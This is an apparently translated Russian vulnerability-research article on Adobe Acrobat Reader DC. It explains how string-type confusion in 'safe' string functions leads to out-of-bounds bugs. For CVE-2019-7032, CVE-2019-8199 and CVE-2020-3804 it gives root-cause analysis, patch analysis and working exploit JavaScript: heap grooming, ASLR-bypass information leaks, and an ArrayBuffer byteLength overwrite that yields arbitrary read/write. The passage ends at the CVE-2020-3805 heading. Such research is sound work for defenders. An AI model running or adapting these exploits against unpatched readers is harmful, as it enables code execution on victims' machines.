При копировании содержимого в целевой буфер эти функции всегда обеспечивают возможность добавления завершающего нулевого символа. В противном случае операция завершится неудачно, и будет вызван обработчик недопустимого параметра. Не гарантируется, что версия функций обработки строк с повышенной безопасностью будет защищена при неправильном использовании. Например, даже функция strcpy_s может привести к переполнению буфера, если разработчики передают неправильное значение в качестве размера целевого буфера.
C:
char src[32] = { "0123456789abcdef" };
char dst[10] = { 0 };
strcpy_s(dst, 0x7FFF /*dst_size*/, src);Здесь значение 0x7FFF намного больше, чем фактический размер целевого буфера. Такое использование убьет все функции безопасности. Функция будет работать как традиционная функция strcpy, что приведет к переполнению буфера.
Обратите внимание, что эти функции специфичны для Microsoft, что означает, что они доступны только в среде разработки Windows. Однако они могут быть доступны в некоторых последних версиях библиотеки C++.
3. Основные понятия Acrobat JavaScript
Прежде чем углубляться в детали уязвимостей, давайте узнаем некоторые базовые знания об Acrobat JavaScript, которые будут полезны для написания эксплойтов.
Adobe Acrobat Reader DC использует SpiderMonkey (может быть версия 24.2.0) в качестве движка JavaScript. Чтобы получить базовые знания о SpiderMonkey и методах отладки кода JavaScript, я рекомендую вам прочитать статью . Прочтите раздел 2.1 - Представление в памяти достаточно, чтобы понять приемы эксплуатации, представленные в этой статье.
Прочтите приложение к этому документу, чтобы узнать, как выполнять код JavaScript в файлах PDF.
3.1 Объект JavaScript Acrobat
В этом разделе объект поля будет использоваться в качестве примера для объяснения некоторых ключевых структур объектов JavaScript Acrobat. Согласно документу JavaScript ™ for Acrobat® API Reference, мы можем вызвать Document.addField для создания объекта поля.
JavaScript:
// Document.addField(cName, cFieldType, nPageNum, oCoords);
var array = new Array();
array.push(0x40414140);
array.push(this.addField('f1', 'text', 0, [0, 0, 100, 20]));Здесь мы создали объект текстового поля и поместили его в нижний левый угол первой страницы. Кроме того, мы создали объект массива и задали первому элементу специальное значение, которое будет использоваться для поиска объекта массива в памяти, и установили второй элемент ссылкой на вновь созданный объект поля.
3.1.1 Расположение объекта
Теперь мы можем искать значение 0x40414140 в памяти процесса и исследовать базовые структуры объекта поля. Для каждого объекта JavaScript Acrobat размер объекта всегда будет 0x48 байтов.
3.1.2 Имя объекта
Член со смещением 0x0C указывает на строку имени объекта.
0:019> da 3ecd4fb0
3ecd4fb0 "Field"
3.1.3 Свойства объекта
Элемент со смещением 0x10 указывает на хэш-таблицу свойств объекта. Обратите внимание, что слово свойство относится к внутренним свойствам объекта JavaScript Acrobat, а не к свойствам объекта JavaScript SpiderMonkey. Размер хэш-таблицы всегда будет 0x80 байтов, первая половина хранит массивы, чтобы позаботиться о конфликтах имен, другая половина хранит соответствующие значения длины массивов. Размер каждого элемента массива составляет 8 байтов, первые 4 байта указывают на строку имени свойства, остальные 4 байта содержат значение свойства.
Мы можем написать код сценария WinDbg для перечисления всех имен и значений свойств.
Вы могли заметить, что есть свойство, также называемое Field. В настоящее время нам нужно только знать, что для разных типов объектов поля Acrobat размер внутреннего объекта свойства Field будет разным.
Вы также могли заметить, что объекты JavaScript SpiderMonkey и объекты JavaScript Acrobat не имеют таблиц виртуальных функций. Но у внутреннего объекта свойства Field есть таблица виртуальных функций.
3.1.4 Функции объекта
Член со смещением 0x20 указывает на хеш-таблицу функции объекта. Эта таблица работает точно так же, как хэш-таблица свойств. Мы можем повторно использовать сценарий WinDbg для извлечения имен и адресов функций.
XFA (также известный как формы XFA) означает архитектуру XML-форм, которая может использоваться в файлах PDF. В этом разделе объясняются некоторые ключевые структуры объектов XFA. Подобно объектам Acrobat JavaScript, мы можем использовать тот же способ для исследования объектов XFA.
Согласно документу Adobe LiveCycle Designer 11 Scripting Reference, мы можем вызвать createNode для создания определенного объекта XFA.
JavaScript:
var array = new Array();
array.push(0x40414140);
array.push(xfa.datasets.createNode('dataValue', 'dvNode1'));Во-первых, нам нужно выяснить расположение хэш-таблицы свойств.
Затем мы можем перечислить все свойства объекта Acrobat JavaScript.
В отличие от обычных объектов JavaScript Acrobat, объекты XFA имеют два специальных свойства с именами xfaappmodelimpl и xfaobjectimpl, и последнее - это то, что нас интересует.
Для разных типов объектов XFA размер внутреннего объекта свойства xfaobjectimpl будет разным. И объекты xfaobjectimpl также имеют таблицы виртуальных функций.
3.3 Объект ArrayBuffer
Объекты ArrayBuffer играют важную роль при получении произвольных примитивов чтения и записи. Когда значение byteLength больше 0x68, резервное хранилище объекта ArrayBuffer будет выделено из системной кучи (через ucrtbase!Calloc), в противном случае оно будет выделенно из постоянной кучи SpiderMonkey. Кроме того, при выделении из системной кучи нижележащий буфер кучи будет на 0x10 байт больше для хранения заголовка ObjectElements.
C++:
class ObjectElements {
public:
uint32_t flags; // can be any value, default is 0
uint32_t initializedLength; // byteLength
uint32_t capacity; // pointer of associated view object
uint32_t length; // can be any value, default is 0
// ......
};Имена членов в ObjectElements не имеют смысла для ArrayBuffer. Здесь второй член содержит значение byteLength, а третий член содержит указатель на связанный объект DataView. Ценности других членов бессмысленны.
JavaScript:
var ab = new ArrayBuffer(0x70);
var dv = new DataView(ab);
dv.setUint32(0, 0x40414140, true);После выполнения вышеуказанного кода JavaScript резервное хранилище объекта ArrayBuffer будет выглядеть следующим образом.
Если мы можем изменить значение члена byteLength объектов ArrayBuffer, тогда мы сможем получить доступ за пределы границ. Но будьте осторожны с указателем связанного объекта DataView, он может быть только 0 или действительным указателем DataView, процесс может немедленно завершиться с ошибкой, если мы изменим его на некоторые другие значения.
4. Анализ первопричин
В Adobe Acrobat Reader DC реализованы некоторые функции обработки строк с улучшенной безопасностью, которые можно идентифицировать путем поиска определенных строк. В следующей таблице приведены подробные сведения об этих функциях.
При обработке строк общие API проверяют тип строки и перенаправляют запрос соответствующей функции. Следующий код показывает, как работает функция strnlen_safe.
Здесь функция проверяет тип строки по первым двум байтам строки. Строка будет распознана как строка Unicode, если первый байт равен 0xFE, а второй - 0xFF, в противном случае она будет распознана как строка ANSI. Фактически, FE FF - это байты метки порядка байтов в формате с прямым порядком байтов.
Для срабатывания уязвимостей необходимы два условия.
1. При проверке типа строки может возникнуть путаница. Строку ANSI можно распознать как строку Unicode, если первые два байта - это FEFF. Это может привести к выходу за границы доступа, поскольку нулевой терминатор Unicode не может быть найден в строке ANSI.
2. Универсальные API используются разработчиками неправильно. В большинстве случаев размер целевого буфера будет установлен как 0x7FFFFFFF. Как обсуждалось ранее, это может привести к проблемам с безопасностью.
JavaScript:
// some examples extracted from EScript.api
strnlen_safe(a2, 0x7FFFFFFF, 0)
strnlen_safe(v15, 0x7FFFFFFF, 0)
strcpy_safe(v1, 0x7FFFFFFF, Str1, 0)
strcpy_safe(v12, 0x7FFFFFFF, &v34, 0)
strcat_safe(v25, 0x7FFFFFFF, "&cc:", 0)
strcat_safe(v25, 0x7FFFFFFF, "&bcc:", 0)Используя эти два условия, мы можем добиться раскрытия информации или выполнения кода в некоторых сценариях.
5. Примеры
5.1 CVE-2019-7032
5.1.1 Описание уязвимости
CVE-2019-7032 - это уязвимость чтения за пределами границ, которую можно использовать для раскрытия информации в обход ASLR. Она влияет на Adobe Acrobat Reader DC 2019.010.20069 и более ранние версии и была установлена в 2019.010.20091 с помощью рекомендаций по безопасности APSB19-07.
Она использовался в Tianfu Cup 2018 с уязвимостью Use-After-Free для выполнения кода.
5.1.2 Анализ первопричин
Эта уязвимость может быть вызвана следующим кодом JavaScript.
JavaScript:
// Tested on Adobe Acrobat Reader DC 2019.010.20069
var f = this.addField('f1', 'text', 0, [1, 2, 3, 4]);
f.userName = '\xFE\xFF';Здесь мы создали объект text и присвоили фальшивую строку Unicode, которая на самом деле была строкой ANSI, свойству userName объекта. Фактически, мы можем использовать другие типы полевых объектов и другие свойства, чтобы вызвать уязвимость. В следующей таблице показаны 18 возможных комбинаций, вызывающих уязвимость. Основные причины этих сбоев одинаковы.
Произошел сбой процесса по адресу AcroForm!PlugInMain + 0xbbbcd из-за чтения за пределами допустимого диапазона.
Здесь строка \xFE\xFF обрабатывалась в функции miUCSStrlen_safe.
Чтение за пределами границ может быть инициировано, поскольку строка ANSI обрабатывалась таким образом, что терминатор Unicode не может быть найден.
C:
unsigned int miUCSStrlen_safe(wchar_t *src, unsigned int max_bytes,
void *error_handler) {
unsigned int result;
wchar_t *str = src;
if ( src ) {
unsigned int bytes = 0;
if ( max_bytes ) {
do {
char ch = *(char *)str;
++str;
if ( !ch && !*((char *)str - 1) ) break; // check Unicode terminator
bytes += 2;
} while ( bytes < max_bytes );
}
if ( bytes == max_bytes ) {
void *handler = hb_set_invert;
if ( error_handler ) handler = error_handler;
handler(L"String greater than maxSize", L"miUCSStrlen_safe", 0, 0, 0);
result = max_bytes;
} else {
result = bytes;
}
} else {
void *handler = hb_set_invert;
if ( error_handler ) handler = error_handler;
handler(L"Bad parameter", L"miUCSStrlen_safe", 0, 0, 0);
result = 0;
}
return result;
}Следующий код показывает информацию трассировки стека при сбое процесса. Здесь фрейм стека № 05 AcroForm!Hb_ot_tag_to_language + 0x6524b находился внутри функции установки свойства userName (sub_20A2AE95 в AcroForm.api).
5.1.3 Разработка эксплойтов
Уязвимость сработала во время присвоения полному объекту свойства userName. Важнейшей частью было то, что исходная строка будет скопирована во вновь созданный буфер кучи, который будет связан со свойством. Это означает, что мы можем прочитать просочившуюся информацию с помощью кода JavaScript. Следующий код показывает упрощенную модель уязвимости.
C:
// src <- field.userName <- "\xFE\xFF....."
// len <- number of bytes
size_t len = strnlen_safe(src, 0x7FFFFFFF, 0); // Out-Of-Bounds Read
char* dst = calloc(1, aligned_size(len + 4));
memcpy(dst, src, len); // Information Disclosure
dst[len] = dst[len + 1] = '\0';
// field.userName <- dstЧтобы воспользоваться уязвимостью, нам просто нужно поместить объект с указателями виртуальных таблиц за буфер кучи. Как обсуждалось ранее, обычные объекты JavaScript не имеют указателей на виртуальные таблицы. Здесь мы выберем объект dataGroup XFA для использования уязвимости.
Код:
; dataGroup object
0:016> dd 4b762fb0
4b762fb0 571eb470 00000001 00000000 5734d308
4b762fc0 00000052 c0c0c0c0 c0c0c0d2 00000000
4b762fd0 00000000 00000000 4b75afb0 c0c0c0c2
4b762fe0 1f028ed0 00000000 00000000 00000000
4b762ff0 00000000 00000000 00000000 00000000
4b763000 ???????? ???????? ???????? ????????
0:016> ?571eb470 - acroform
Evaluate expression: 8500336 = 0081b470Однако функцию Document.addField нельзя будет вызвать в режиме XFA. Если она был вызвана, будет показано исключение.
NotAllowedError: Security settings prevent access to this property or method.
Doc.addField:25
oc undefined:OpenЭто может быть решено путем статического определения объекта поля с помощью кода PDF. Следующий код определяет объект текстового поля с именем MyField1.
Мы можем вызвать уязвимость в функции обратного вызова события инициализации основного тега подчиненной формы. Мы можем ссылаться на объект поля, вызвав event.target.getField ('MyField1'). Свойства объекта поля могут быть доступны только для чтения в функциях обратного вызова других событий или если отрисовка PDF-файла завершена.
В следующем коде показано, как использовалась уязвимость для обхода ASLR.
JavaScript:
function generateString(size) {
var string = '\xFE\xFF' + 'a'.repeat(size);
var flag = '\x40\x41\x41\x40'; // for debug purpose
return string.substr(0, size - flag.length - 1) + flag;
}
function swapBytes(value) {
return ((value % 0x100) << 8) | (value / 0x100);
}
function exploit() {
var field = event.target.getField('MyField1');
while (true) {
var objectSize = 0x50;
try {
var string = generateString(objectSize);
var array = new Array(0x1000);
for (var i = 0; i < array.length; ++i) {
array[i] = xfa.datasets.createNode('dataGroup', 'dataGroup');
}
for (var i = 0; i < array.length; i += 2) {
array[i] = null;
array[i] = undefined;
}
field.userName = string;
} catch(e) {}
try {
var high = field.userName.charCodeAt((objectSize + 8) / 2);
var low = field.userName.charCodeAt((objectSize + 8) / 2 - 1);
high = swapBytes(high);
low = swapBytes(low);
var addr = (high << 16) | low;
if ((addr & 0xFFFF) == 0xb470) {
addr = addr - 0x0081b470;
xfa.host.messageBox('AcroForm at 0x' + addr.toString(16));
return addr;
}
} catch(e) {}
}
}
exploit();5.1.4 Анализ патча
Уязвимость исправлена в Adobe Acrobat Reader DC 2019.010.20091. Она было исправлено путем помещения 3 дополнительных байтов NULL (всего 4) в конец буфера кучи. Изменения были внесены в функцию sub_20A6CF79 в AcroForm.api.
C:
int __cdecl sub_20A6CF79(_DWORD *a1, int a2, int *a3, int a4) {
// --------------------------- cut ---------------------------
bytes = (dword_2134DC60 + 16)(a2, v4[1] + 2, v6 - 2, 0, 0, 0);
*a3 = bytes;
buffer = malloc(bytes + 4); // 4 extra bytes
if ( !buffer ) return 0;
(dword_2134DC60 + 16)(a2, v4[1] + 2, v4[2] - 2, buffer, *a3 + 4, a4);
v9 = ++*a3;
if ( v12 / 2 < *a3 ) {
v10 = sub_208532E4(buffer, v9 + 3);
v9 = *a3;
buffer = v10;
}
memset((void *)(buffer + v9 - 1), 0, 4u); // put 4 '\x00' at the end
return buffer;
}5.2 CVE-2019-8199
5.2.1 Описание уязвимости
CVE-2019-8199 - это выходящая за границы уязвимость чтения и записи, которую можно использовать для выполнения кода. Хотя она влияет на Adobe Acrobat Reader DC 2019.012.20040 и более ранние версии, её можно использовать только в 2019.010.20099 и более ранних версиях. Она была исправлена в версии 2019.021.20047 с помощью рекомендации по безопасности APSB19-49.
5.2.2 Анализ первопричин
Эта уязвимость может быть вызвана следующим кодом JavaScript.
// Tested on Adobe Acrobat Reader DC 2019.010.20099
Collab.unregisterReview('\xFE\xFF');
Или с помощью следующего кода JavaScript.
Collab.unregisterApproval('\xFE\xFF');
Процесс завершился с ошибкой на Annots!PlugInMain + 0x51377 из-за чтения за пределами допустимого диапазона.
Здесь строка \xFE\xFF обрабатывалась в функции miUCSStrcpy_safe.
Чтение и запись за пределами границ могут быть инициированы, поскольку строка ANSI обрабатывалась таким образом, что терминатор Unicode не может быть найден.
C:
signed int miUCSStrcpy_safe(wchar_t *dst, unsigned int max_bytes,
wchar_t *src, void *error_handler) {
wchar_t *ptr = dst;
if ( dst ) {
if ( src ) {
if ( max_bytes > 1 ) {
unsigned int max_len = max_bytes >> 1;
do {
wchar_t e = *(wchar_t *)((char *)ptr + (char *)src - (char *)dst);
*ptr = e;
++ptr;
if ( !e ) break; // check Unicode terminator
--max_len;
} while ( max_len );
if ( !max_len ) {
*(ptr - 1) = 0;
void *handler = Handler;
if ( error_handler ) handler = error_handler;
handler(L"Destination too small", L"miUCSStrcpy_safe", 0, 0, 0);
return 0;
}
} else if ( max_bytes > 1 ) {
*dst = 0;
}
}
void *handler = Handler;
if ( error_handler ) handler = error_handler;
handler(L"Bad parameter", L"miUCSStrcpy_safe", 0, 0, 0);
return -1;
}Следующий код показывает информацию трассировки стека при сбое процесса. Здесь кадр стека #05 Annots!PlugInMain + 0xfa4b8 находился в пределах функции реализации, лежащей в основе Collab.unregisterReview (sub_221FCC5D в Annots.api).
5.2.3 Разработка эксплойтов
Уязвимость сработала при вызове функции Collab.unregisterReview. Ключевым моментом было то, что исходная строка будет скопирована во вновь созданный буфер кучи, размер которого был вычислен с помощью вызова ASstrnlen_safe. Но запрос на копирование обработался функцией strcpy_safe. Следующий код показывает упрощенную модель уязвимости.
C:
// src <- arg of unregisterReview / unregisterApproval
// src = "\xFE\xFF......"
size_t len = ASstrnlen_safe(src, 0x7FFFFFFF, 0); // ANSI Function
char* dst = (char *)malloc(len + 1);
strcpy_safe(dst, 0x7FFFFFFF, src, 0); // Generic API -> Unicode FunctionЧтобы воспользоваться уязвимостью, нам нужно контролировать структуру памяти.
1. Распылите много строк и объектов ArrayBuffer, чтобы они занимали память. Здесь мы каждый раз создаем 5 объектов как единое целое.
2. Освободите первый и третий объекты ArrayBuffer в каждом модуле, чтобы создать много промежутков в памяти.
3. Активируйте уязвимость так, чтобы буфер кучи исходной строки был выделен в первом промежутке, а целевой буфер кучи был выделен во втором промежутке в одном из модулей.
4. Замените значение byteLength четвертого ArrayBuffer значением 0xFFFF. Содержимое строки, второго объекта в каждой единице, будет использоваться для перезаписи byteLength и остановки операции копирования, как только мы достигнем нашей цели. Затем перезапишите значение byteLength пятого буфера ArrayBuffer на 0xFFFFFFFF, чтобы получить глобальный примитив чтения и записи.
После получения глобального примитива чтения и записи мы можем выполнить поиск в обратном направлении, чтобы вычислить базовый адрес буфера резервного хранилища объекта ArrayBuffer, чтобы получить произвольный примитив чтения и записи. Мы можем выполнить поиск по двум конкретным значениям, ffeeffee или f0e0d0c0, чтобы вычислить базовый адрес.
Очень легко добиться выполнения кода, получив произвольный примитив чтения и записи. Ниже приведены оставшиеся шаги, которые не будут обсуждаться в этой статье.
- Перехват EIP
- Обход ASLR
- Обход DEP
- Обход CFG
В следующем коде показано, как была использована уязвимость для перезаписи byteLength ArrayBuffer значения 0xFFFFFFFF.
JavaScript:
function checkState(array, blockSize) {
var byteLength = blockSize - 8 - 0x10;
var index = -1;
for (var i = 0; i < array.length; i += 5) {
if (array[i + 3].byteLength != byteLength) {
index = i + 3;
break;
}
}
if (index == -1) {
app.alert('exploit failed!');
return;
}
var dv = new DataView(array[index]);
dv.setUint32(byteLength + 12, 0xFFFFFFFF, true);
index += 1;
if (array[index].byteLength == -1) {
app.alert('ArrayBuffer[' + index + '].byteLength = 0xFFFFFFFF');
}
}
function trigger() {
Collab.unregisterReview(string);
checkState(array, blockSize);
}
function createArgumentString(blockSize) {
var string = '\xFE\xFF' + 'a'.repeat(blockSize);
return string.substr(0, blockSize - 8 - 1);
}
function createArrayBuffer(blockSize, index) {
var ab = new ArrayBuffer(blockSize - 8 - 0x10);
var dv = new DataView(ab);
dv.setUint32(0, index, true);
return ab;
}
function createHoles(blockSize, arraySize) {
var basestring = unescape('%u4140%u4041%uFFFF%u0000');
while (basestring.length < blockSize / 2) {
basestring += unescape('%u9090%u9090');
}
var array = new Array(arraySize);
for (var i = 0; i < array.length; i += 5) {
array[i] = createArrayBuffer(blockSize, i);
array[i + 1] = basestring.substr(0, (blockSize - 8)/2-1).toUpperCase();
array[i + 2] = createArrayBuffer(blockSize, i + 2);
array[i + 3] = createArrayBuffer(blockSize, i + 3);
array[i + 4] = createArrayBuffer(blockSize, i + 4);
}
for (var i = 0; i < array.length; i += 5) {
array[i + 2] = null;
array[i + 2] = undefined;
array[i] = null;
array[i] = undefined;
}
return array;
}
var blockSize = 0x10000;
var string = createArgumentString(blockSize);
var array = createHoles(blockSize, 0x2000);
var timer = app.setTimeOut('trigger()', 1000);5.2.4 Анализ патчей
Как обсуждалось ранее, эта уязвимость затрагивает Adobe Acrobat Reader DC 2019.012.20040 и более ранние версии, но ее можно использовать только в версиях 2019.010.20099 и более ранних.
Возможность эксплуатации уязвимости была нарушена, начиная с Adobe Acrobat Reader DC 2019.012.20034. 2 дополнительных байта NULL (всего 3) были добавлены в конец буфера кучи.
Изменения были внесены в функцию sub_2383F4F8 в EScript.api.
C:
void *__cdecl sub_2383F4F8(int a1, int a2) {
// --------------------------- cut ---------------------------
if ( string ) {
length = ASstrnlen_safe(string, 0x7FFFFFFFu, 0);
if ( length < 0xFFFFFFFC ) {
buffer = calloc(1, length + 3); // put 3 '\x00' at the end
memcpy(buffer, string, length);
}
}
// --------------------------- cut ---------------------------
}Патч работает только для предотвращения использования уязвимости. Исходный файл POC все еще может привести к сбою процесса, поскольку буфер целевой кучи был недостаточно велик для хранения признака конца строки Unicode.
C:
// src <- arg of unregisterReview / unregisterApproval
// src = "\xFE\xFF......"
size_t len = ASstrnlen_safe(src, 0x7FFFFFFF, 0); // ANSI Function
char* dst = (char *)malloc(len + 1); // only sufficient for ANSI string
strcpy_safe(dst, 0x7FFFFFFF, src, 0); // Generic API -> Unicode FunctionУязвимость была окончательно устранена в Adobe Acrobat Reader DC 2019.021.20047. Это было исправлено путем выделения 2 дополнительных байтов для целевого буфера кучи для хранения признака конца строки Unicode.
Изменения внесены в функцию sub_2212A50B в Annots.api.
C:
void *__cdecl sub_2212A50B(char *src) {
// --------------------------- cut ---------------------------
signed int bytes = strnlen_safe(src, 0x7FFFFFFF, 0);
void *dst = malloc(bytes + 2);
memset(dst, 0, bytes + 2);
strcpy_safe_wrapper(dst, src);
// --------------------------- cut ---------------------------
}
int __cdecl strcpy_safe_wrapper(int dst, int src) {
return strcpy_safe(dst, 0x7FFFFFFF, src, 0);
}5.3 CVE-2020-3804
5.3.1 Описание уязвимости
CVE-2020-3804 - это уязвимость чтения за пределами границ, которую можно использовать для раскрытия информации в обход ASLR. Она влияет на Adobe Acrobat Reader DC 2020.006.20034 и более ранние версии и была исправлена в 2020.006.20042 с помощью рекомендаций по безопасности APSB20-13.
5.3.2 Анализ первопричин
Как обсуждалось ранее, символ спецификации всегда будет в начале строки. В другие места ставить его бессмысленно. Adobe Acrobat Reader DC будет рассматривать строки, которые содержат символ спецификации в других местах, как недопустимые. Код, отвечающий за проверку символа спецификации, можно найти в функции sub_2385B3A9 в EScript.api.
C:
int __cdecl sub_2385B3A9(int a1, int str_obj) {
if ( !str_obj ) return 0;
wchar_t *str = sub_2383E8D0(a1, str_obj); // string data pointer
unsigned int len = sub_2383E929((_DWORD *)str_obj); // string length
bool is_unicode = 0;
if ( len ) {
int index = 1;
if ( len >= 2 )
is_unicode = *str == 0x00FF && str[1] == 0x00FE ||
*str == 0x00FE && str[1] == 0x00FF;
if ( len - 1 > 1 ) {
wchar_t *remaining = str + 2;
do {
wchar_t e = *(remaining - 1);
if ( e == 0x00FF ) {
if ( *remaining == 0x00FE ) return 0;
}
if ( e == 0x00FE && *remaining == 0x00FF ) return 0;
++index;
++remaining;
} while ( index < len - 1 );
}
}
// --------------------------- cut ---------------------------
}При обработке недопустимых строк такого типа в Adobe Acrobat Reader DC возникает исключение. Например, исключение JavaScript будет выброшено в базовой функции console.println при выполнении следующего кода JavaScript.
// Tested on Adobe Acrobat Reader DC 2020.006.20034
console.show();
console.println('[\xFE\xFF]');
Следующее сообщение об исключении будет напечатано в окне консоли.
TypeError: Invalid argument type.
Console.println:2
oc undefined:Open===> Parameter cMessage.
Все выглядит прекрасно. Но прежде чем углубляться в детали уязвимости, давайте выясним, как было создано сообщение об ошибке. Здесь мы напечатаем имена свойств и значения свойств объектов Error и Event в ветке catch.
JavaScript:
console.show();
function dumpObject(o) {
for (var p in o) {
console.println(p + ':' + typeof(o[p]) + ' = ' + o[p]);
}
}
try {
console.println('[\xFF\xFE]');
} catch(e) {
console.println('---- Error Object ----');
dumpObject(e);
console.println('---- Event Object ----');
dumpObject(event);
}Следующее сообщение будет напечатано в окне консоли.
---- Error Object ----
name:string = TypeError
message:string = Invalid argument type.
extMessage:string = TypeError: Invalid argument type.
Console.println:10
===> Parameter cMessage.
fileName:string = Doc undefined:Open
lineNumber:number = 10
number:number = 1
columnNumber:number = 4
---- Event Object ----
target:object = [object Doc]
name:string = Open
type:string = Doc
source:object = null
rc:boolean = true
Похоже, что некоторые значения объекта Error были созданы на основе объекта Event. Это верно для Adobe Acrobat Reader DC, и во время создания объекта Error может сработать уязвимость чтения за пределами допустимого диапазона.
Уязвимость может быть вызвана следующим кодом JavaScript. Последняя строка использовалась для вызова исключения. Фактически, вы можете использовать другие методы, чтобы вызвать уязвимость. Просто не забудьте убедиться, что исключение должно исходить от внутренней реализации кода. Вы не можете активировать уязвимость, вызвав исключение напрямую, потому что оно будет работать с разными путями кода.
Процесс завершился с ошибкой на EScript!Mozilla::HashBytes + 0x49f4d из-за чтения вне пределов.
Здесь поддельная строка Unicode, свойство fileName объекта Error, обрабатывалась в функции miUCSStrlen_safe.
Чтение за пределами границ может быть инициировано, поскольку строка ANSI обрабатывалась таким образом, что терминатор Unicode не может быть найден.
Эта уязвимость немного отличалась от предыдущих. Размер буфера кучи был намного больше, чем длина строки, а оставшиеся байты были неинициализированы (заполнены с помощью c0, когда куча страниц была включена). Уязвимости не будет, если куча была инициализирована (заполнена 00).
Продолжим анализ по информации трассировки стека распределения кучи.
Информация трассировки стека указывает, что буфер кучи был выделен функцией realloc, что объясняет, почему буфер кучи был неинициализирован. Фрейм стека EScript!Double_conversion:: DoubleToStringConverter::CreateDecimalRepresentation + 0x0 00447ce находился в функции sub_238AF3A0, которая отвечала за создание объекта Error.
В следующем коде показано, как было создано свойство fileName объекта Error.
C:
signed __int16 __cdecl sub_238AF3A0(int a1, int a2, int a3, int a4, int a5) {
// --------------------------- cut ---------------------------
property = sub_2383EB30(v46, 1);
type = box_js_string(sub_23841DB0(event_object), 1, "type");
if ( read_property(event_object, type, property) ) {
string_copy(error_filename, unbox_js_string(property, 1), 0);
}
string_append(error_filename, " ");
target_name = box_js_string(sub_23841DB0(event_object), 1, "targetName");
if ( read_property(event_object, target_name, property) ) {
string_append(error_filename, unbox_js_string(property, 1));
} else {
string_append(error_filename, "?");
}
string_append(error_filename, ":");
name = box_js_string(sub_23841DB0(event_object), 1, "name");
if ( read_property(event_object, name, property) ) {
string_append(error_filename, unbox_js_string(property, 1));
} else {
string_append(error_filename, "?");
}
// --------------------------- cut ---------------------------
}Здесь был создан буфер кучи для хранения содержимого Error.fileName. Размер буфера кучи был инициализирован равным 0x20 и будет изменяться динамически. Например, размер будет удвоен, если исходный буфер кучи был слишком мал для хранения содержимого при вызове string_copy или string_append. За этот процесс отвечает функция sub_23846F9A, и для создания нового буфера кучи будет вызвана функция realloc.
|-- string_copy or string_append
|-- sub_23846F9A
|-- realloc
Хотя исходный буфер кучи при создании был заполнен нулями, вновь созданный буфер кучи, возвращенный функцией realloc, не будет заполнен нулями. Чтение вне пределов может быть инициировано при обработке содержимого позже в функции sub_238AF3A0. Следующий код показывает информацию трассировки стека при сбое процесса.
C:
0:000> k
# ChildEBP RetAddr
00 052fbd8c 643630c7 EScript!mozilla::HashBytes+0x49f4d
01 052fbda0 6439f144 EScript!PlugInMain+0x1547
02 052fbdd0 6439f0a9 EScript!mozilla::HashBytes+0x2e704
03 052fbdec 6439f085 EScript!mozilla::HashBytes+0x2e669
04 052fbe08 643a1f3e EScript!mozilla::HashBytes+0x2e645
05 052fbe48 643a1ee2 EScript!mozilla::HashBytes+0x314fe
06 052fbe64 6440f333 EScript!mozilla::HashBytes+0x314a2
......5.3.3 Разработка эксплойтов
Эту уязвимость можно использовать для раскрытия информации в обход ASLR. Выглядит почти так же, как CVE-2019-7032. Следующий код показывает упрощенную модель уязвимости.
C:
// src <- constructed fileName string for Error object
// src = "\xFE\xFF......"
size_t len = strnlen_safe(src, 0x7FFFFFFF, 0); // Out-Of-Bounds Read
char* dst = (char *)malloc(len);
swab((char*)src + 2, dst, len); // "\xFE\xFF" will be skipped
// Error.fileName <- dstЧтобы воспользоваться этой уязвимостью, мы должны найти объект XFA с определенным размером, который может быть только 0x20, 0x40, 0x80 и т.д. Размер contentArea объекта XFA был точно равен 0x80 в Adobe Acrobat Reader DC 2019.021.20061 и более ранних версиях. Обратите внимание, что размер объекта contentArea был изменен на 0x84, начиная с Adobe Acrobat Reader DC 2020.006.20034. Вам нужно найти другой подходящий объект, если вы хотите написать эксплойт для версии 2020.006.20034. Для удобства в данном документе в качестве цели для использования выбрана версия 2019.021.20061.
В следующем коде показано, как использовалась уязвимость для обхода ASLR.
JavaScript:
function createArrayBuffer(count, heapSize) {
var array = new Array(count);
for (var i = 0; i < array.length; ++i) {
array[i] = new ArrayBuffer(heapSize - 0x10);
}
return array;
}
function gc() {
var maxMallocBytes = 128 * 1024 * 1024;
for (var i = 0; i < 10; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}
Array.prototype.fill = function(value) {
for (var i = 0; i < this.length; ++i) {
this[i] = value;
}
};
String.prototype.hex2val = function() {
var value = '';
for (var i = 3; i >= 0; --i) {
value += this.substring(i * 2, i * 2 + 2);
}
return parseInt(value, 16);
};
function leakInformation() {
event.__defineGetter__('type', function() {
return '\xFE\xFF[HelloAdobeReader][SoHardToExploit][ReallySad]';
});
// ------------------- initialize variables -------------------
var abArray = new Array(0x2000);
abArray.fill(0);
var xfaArray = new Array(0x1000);
xfaArray.fill(0);
var fillArray = new Array(0x1000);
fillArray.fill(0);
var ab = new ArrayBuffer(0x80 - 0x10);
var u32a = new Uint32Array(ab);
Array.prototype.fill.call(u32a, 0x41414141);
for (var i = 0; i < abArray.length; ++i) {
abArray[i] = ab.slice();
}
var contentArea = xfa.resolveNode(
'xfa.form.#subform[0].#pageSet[0].#pageArea[0].#contentArea[0]');
// --------------- free half ArrayBuffer objects --------------
for (var i = 0; i < abArray.length; i += 2) {
delete(abArray[i]);
abArray[i] = null;
abArray[i] = undefined;
}
gc();
// ---------- fill the holes with contentArea objects ---------
for (var i = 0; i < xfaArray.length; ++i) {
xfaArray[i] = contentArea.clone(1);
}
// ------------ free remaining ArrayBuffer objects ------------
for (var i = 1; i < abArray.length; i += 2) {
abArray[i] = null;
}
gc();
// ------------- try to trigger the vulnerability -------------
for (var i = 0; i < fillArray.length; ++i) {
fillArray[i] = ab.slice();
try {
console.println('[\xFE\xFF]');
} catch(e) {
var stream = util.streamFromString(e.fileName, 'utf-16BE');
var string = stream.read();
var pos = (0x80 - 2 + 8) * 2;
if (string.length > pos) {
var value = string.substring(pos, pos + 8).hex2val();
if ((value & 0xFFFF) == (vptrOffset & 0xFFFF)) {
return value - vptrOffset;
}
}
}
}
return -1;
}
var vptrOffset = 0x008ca868; // Adobe Acrobat Reader DC 2019.021.20061
var memArray = createArrayBuffer(0x1000, 0xFFF8);
var address = leakInformation();
app.alert('AcroForm.api at 0x' + address.toString(16));5.3.4 Анализ патчей
Уязвимость была исправлена в Adobe Acrobat Reader DC 2020.006.20042 с помощью рекомендаций по безопасности APSB20-13. Она было исправлено путем выделения нового буфера кучи для хранения содержимого Error.fileName и помещения 4 байтов NULL в конец буфера кучи, если содержимое было строкой Unicode.
Изменения были внесены в функцию sub_238AF3A0 в EScript.api.
1
5.4 CVE-2020-3805
5.4.1 Описание уязвимости
